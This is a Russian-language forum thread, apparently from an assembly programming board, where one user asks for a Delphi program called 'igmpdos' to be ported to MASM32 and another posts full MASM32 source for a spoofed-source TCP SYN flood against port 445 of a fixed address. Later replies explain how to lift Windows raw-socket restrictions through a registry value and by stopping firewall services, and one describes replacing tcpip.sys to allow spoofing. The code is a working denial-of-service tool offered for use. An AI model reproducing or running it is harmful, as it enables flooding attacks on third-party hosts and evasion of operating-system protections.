Помогите пожалуйста перевести на masm32 Код (Text): program igmpdos; uses Windows, WinSock2; type TIPHeader = packed record VerLen: Byte; ToS: Byte; TotalLen: WORD; UID: WORD; Flags: WORD; TTL: Byte; Protocol: Byte; ChkSum: WORD; SourceIP: DWORD; DestIP: DWORD; Options: array [0..1] of WORD; end; TIGMPHeader = packed record pType: Byte; Code: Byte; ChkSum: WORD; Group: DWORD; Resv: Byte; QQIC: Byte; Num: WORD; addes: DWORD; end; TWordAr = array [0..0] of WORD; PWordAr = ^TWordAr; function ChkSum(pData: PWordAr; Size: DWORD): WORD; var res: DWORD; i: Integer; begin res := 0; i := 0; while (size > 1) do begin res := res + pData[i]; size := size - 2; inc(i); end; if (size = 1) then res := res + pData[i]; res := (res shr 16) + (res and $FFFF); res := res + (res shr 16); result := WORD(not res); end; procedure SendFuckIGMP(DestIP, SorceIP: DWORD); var WSAData: TWSAData; Sock: TSocket; SockIn: TSockAddrIn; flag: DWORD; IpHdr: TIPHeader; IgmpHdr: TIGMPHeader; Buffer: Pointer; begin WSAStartup($202, WSAData); Sock := WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, nil, 0, 1); flag := 1; setsockopt(Sock, IPPROTO_IP, IP_HDRINCL, @flag, 4); ZeroMemory(@SockIn, sizeof(SockIn)); SockIn.sin_family := AF_INET; SockIn.sin_port := htons(99); SockIn.sin_addr.S_addr := DestIP; ZeroMemory(@IpHdr, sizeof(IpHdr)); with IpHdr do begin VerLen := 64 + sizeof(IpHdr) div 4; TotalLen := htons(sizeof(IpHdr) + sizeof(IgmpHdr)); TTL := 128; Protocol := IPPROTO_IGMP; SourceIP := SourceIP; DestIP := DestIP; end; ZeroMemory(@IgmpHdr, sizeof(IgmpHdr)); with IgmpHdr do begin pType := 17; Code := 5; Num := htons(1); addes := DestIP; end; flag := sizeof(IpHdr) + sizeof(IgmpHdr) + 4; Buffer := GetMemory(flag); ZeroMemory(Buffer, flag); CopyMemory(Buffer, @IgmpHdr, sizeof(IgmpHdr)); IgmpHdr.ChkSum := ChkSum(Buffer, sizeof(IgmpHdr)); CopyMemory(Buffer, @IpHdr, sizeof(IpHdr)); CopyMemory(Pointer(DWORD(Buffer) + sizeof(IpHdr)), @IgmpHdr, sizeof(IgmpHdr)); IpHdr.ChkSum := htons(ChkSum(Buffer, sizeof(IpHdr) + sizeof(IgmpHdr))); CopyMemory(Buffer, @IpHdr, sizeof(IpHdr)); sendto(sock, Buffer^, sizeof(IpHdr) + sizeof(IgmpHdr), 0, SockIn, sizeof(SockIn)); FreeMemory(Buffer); closesocket(Sock); WSACleanup; end; begin SendFuckIGMP(inet_addr('192.168.9.160'), inet_addr('10.0.3.1')); end.
структуры свои впихаеш тока Код (Text): ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .686 .model flat, stdcall option casemap :none include libs\inc\windows.inc include libs\inc\masm32.inc include libs\inc\urlmon.inc include libs\inc\kernel32.inc include libs\inc\msvcrt.inc include libs\inc\user32.inc include libs\inc\shell32.inc include libs\inc\advapi32.inc include libs\inc\ws2_32.inc include libs\inc\base64.inc include libs\inc\Strings.mac include libs\inc\getseg.inc ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: includelib libs\lib\shell32.lib includelib libs\lib\base64.lib includelib libs\lib\advapi32.lib includelib libs\lib\msvcrt.lib includelib libs\lib\masm32.lib includelib libs\lib\urlmon.lib includelib libs\lib\kernel32.lib includelib libs\lib\wininet.lib includelib libs\lib\ntdll.lib includelib libs\lib\user32.lib includelib libs\lib\ws2_32.lib includelib libs\lib\getseg.lib sfTCPHEADER STRUCT tcp_src_port WORD ? tcp_det_port WORD ? tcp_seq DWORD ? tcp_ack DWORD ? tcp_len BYTE ? tcp_flags BYTE ? tcp_window WORD ? tcp_cksum WORD ? tcp_urg_ptr WORD ? sfTCPHEADER ENDS sfIPHEADER STRUCT h_verlen BYTE ? ip_tos BYTE ? total_len WORD ? ident WORD ? ip_off WORD ? ip_ttl BYTE ? ip_p BYTE ? ip_cksum WORD ? ip_src DWORD ? ip_dest DWORD ? sfIPHEADER ENDS ;20 bytes PSDHEADER STRUCT src_addr DWORD ? dst_addr DWORD ? zero BYTE ? protocol BYTE ? ps_len WORD ? PSDHEADER ENDS ;12 bytes dwThreadID DWORD ? ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .code ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: start: PUSh offset wsa PUSh 00000202H CALL WSAStartup ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: PUSh offset dwThreadID PUSh 0 PUSh offset httpstruct PUSh offset dns_thread PUSh 0 PUSh 0 CALL CreateThread invoke Sleep, 600000 invoke ExitProcess,0 ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: COPY_MEMROY: CopyMemory proc uses eax ecx esi edi dwDestination:dword, dwSource:dword, dwLen: dword MOV esi, dwSource MOV edi, dwDestination MOV ecx, dwLen .repeat movsb .untilcxz RET CopyMemory endp ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ;::::::::::::::CHKSUM FUNCTION ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: CHKSUM_FUNCTION: checksum proc uses ecx esi edx, pData:dword, SzData:dword MOV esi, 0 @@: CMP SzData, 1 JLE @f MOV eax, pData XOR ecx, ecx MOV cx, [eax] MOV edx, esi ADD edx, ecx MOV esi, edx MOV eax, pData ADD eax, 2 MOV pData, eax MOV ecx, SzData SUB ecx, 2 MOV SzData, ecx JMP @b @@: CMP SzData, 0 JZ @f MOV edx, pData XOR eax, eax MOV al, [edx] MOV ecx, esi ADD ecx, eax MOV esi, ecx @@: MOV edx, esi SHR edx, 10h MOV eax, esi AND eax, 0FFFFh ADD edx, eax MOV esi, edx MOV ecx, esi SHR ecx, 10h MOV edx, esi ADD edx, ecx MOV esi, edx MOV eax, esi NOT eax RET checksum endp SYN_THREAD: syn_thread proc uses ecx, lParam:DWORD LOCAL @dwFlag :DWORD local addr_in :sockaddr_in local ipHeader :sfIPHEADER local tcpHeader :sfTCPHEADER local psdHeader :PSDHEADER LOCAL szSendBuf[60]:BYTE PUSh 1 PUSh 0 PUSh NULL PUSh IPPROTO_RAW PUSh SOCK_RAW PUSh AF_INET CAll WSASocket MOV edi,eax .if edi==INVALID_SOCKET ; RET ;if(sock==INVALID_SOCKET) return false; .endif MOV @dwFlag, TRUE PUSh sizeof @dwFlag LEA eax, @dwFlag PUSh eax PUSh 2 PUSh IPPROTO_IP PUSh edi CAll setsockopt .if eax == SOCKET_ERROR ;if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, RET ;(char*)&flag, sizeof(flag))==SOCKET_ERROR) .endif MOV addr_in.sin_family,AF_INET ;addr_in.sin_family=AF_INET MOV ax, 445 bswap eax ror eax,10h MOV addr_in.sin_port, ax PUSh $CTA0("192.168.1.33") CALL gethostbyname .if eax!=0 MOV eax, [eax+0ch] MOV eax, [eax] MOV eax, [eax] MOV addr_in.sin_addr, eax .endif MOV byte ptr [ipHeader.h_verlen],45h MOV eax, 28h bswap eax ror eax,10h MOV word ptr [ipHeader.total_len],ax MOV ipHeader.ident, 1 MOV ipHeader.ip_off, 0 MOV ipHeader.ip_ttl, 80h MOV ipHeader.ip_p, 6h MOV ipHeader.ip_cksum, 0 MOV eax,dword ptr [addr_in.sin_addr] MOV dword ptr [ipHeader.ip_dest],eax MOV eax, 445 bswap eax ror eax,10h MOV word ptr [tcpHeader.tcp_det_port],ax MOV byte ptr [tcpHeader.tcp_len],50h MOV eax, 4000h bswap eax ror eax,10h MOV word ptr [tcpHeader.tcp_window],ax MOV tcpHeader.tcp_urg_ptr , 0 MOV ecx,dword ptr [ipHeader.ip_dest] MOV dword ptr [psdHeader.dst_addr],ecx MOV psdHeader.zero, 0 MOV psdHeader.protocol, 06h MOV eax, sizeof tcpHeader bswap eax ror eax,10h MOV psdHeader.ps_len, ax MOV ipHeader.ip_tos,24h .while(1) PUSH 1 CALL Sleep ;*************************************************************************************************************************** ;Make a Syn Packet ;*************************************************************************************************************************** MOV tcpHeader.tcp_ack, 0 MOV tcpHeader.tcp_flags, 02h ;SYN MOV tcpHeader.tcp_cksum, 0 RDTSC MOV dword ptr [ipHeader.ip_src],eax RDTSC MOV word ptr [tcpHeader.tcp_src_port],ax push eax RDTSC MOV dword ptr [tcpHeader.tcp_seq],eax mov esi, eax push esi MOV ecx,dword ptr [ipHeader.ip_src] MOV dword ptr [psdHeader.src_addr],ecx PUSh sizeof psdHeader LEA eax, psdHeader PUSh eax LEA eax, szSendBuf PUSh eax CAll CopyMemory PUSh sizeof tcpHeader LEA eax, tcpHeader PUSh eax LEA eax, szSendBuf ADD eax, sizeof psdHeader PUSh eax CAll CopyMemory PUSh sizeof psdHeader + sizeof tcpHeader LEA eax, szSendBuf PUSh eax CAll checksum MOV tcpHeader.tcp_cksum, ax PUSh sizeof ipHeader LEA eax, ipHeader PUSh eax LEA eax, szSendBuf PUSh eax CAll CopyMemory PUSh sizeof tcpHeader LEA eax, tcpHeader PUSh eax LEA eax, szSendBuf ADD eax, sizeof ipHeader PUSh eax CAll CopyMemory PUSh 4 PUSh 0 LEA eax, szSendBuf ADD eax, sizeof ipHeader + sizeof tcpHeader PUSh eax CAll crt_memset PUSh sizeof ipHeader + sizeof tcpHeader LEA eax, szSendBuf PUSh eax CAll checksum MOV ipHeader.ip_cksum, ax PUSh sizeof ipHeader LEA eax, ipHeader PUSh eax LEA eax, szSendBuf PUSh eax CAll crt_memcpy PUSh sizeof addr_in LEA eax, addr_in PUSh eax PUSh 0 PUSh sizeof ipHeader + sizeof tcpHeader LEA eax, szSendBuf PUSh eax PUSh edi CAll sendto .endw RET syn_thread endp RET 0 end start
Выставить HKLM\SYSTEM\CurrentControlSet\Services\Afd\Parameters\DisableRawSecurity в 0, и всё будет ок. Но спуфить адрес отправителя в IP-пакетах не есть гуд, потому как нет гарантии, что такой пакет выйдет за пределы маршрутизатора.
Cr4sh она еще и с компьютера никуда не уйдет а если еще и стоит MS05-019, то это вааще. в XP SP2 мы имеем следующий перечень ограничений (подробнее см, http://technet.microsoft.com/en-us/library/bb457156.aspx): q TCP-пакеты не могут быть посланы через сырые сокеты; q UDP-пакеты с "левым" адресом источника дропаются системой; Server 2003 и Server 2008 полностью поддерживают сырые сокеты, но: только после остановки встроенного брандмауэра, что осуществляется командой "net stop alg", а вообще, ситуация такая: NT 4.0 сырые сокеты ограничены 10 входящими соединениями за 10 минут (лечится правкой реестра); W2K полностью поддерживает сырые сокеты; XP SP0 полностью поддерживает сырые сокеты после остановки брандмауэра ("net stop sharedaccess"); XP SP1 _без_ заплатки MS05-019 поддерживает сырые сокеты так же, как и XP SP0; XP SP1 _с_ заплаткой MS05-019 блокирует исходящие сырые TCP-сокеты, если брандмауэр _запущен_ XP SP2 _без_ MS05-019 полностью поддерживает входящие сырые сокеты и частично исходящие; XP SP2 _с_ заплаткой MS05-019 полностью поддерживает входящие сырые сокеты и некоторые исходящие; Server 2003 полностью поддерживает сырые сокеты после остановки брандмауэра ("net stop alg"); Mac OS X полностью поддерживает сырые сокеты; Linux полностью поддерживает сырые сокеты; xBSD полностью поддерживает сырые сокеты;
Хм... наконец-то нашел почему не могу отправить RAW UDP с не своим адресом)). Оказывается дело в WinXPSP2. Попробовал просто заменить tcpip.sys на такой же с WinXPSP1. Но это не прошло - при загрузке появляется BlueScreenOfDeath. Кто знает в чем причина? Может просто заменить еще какие-то модули?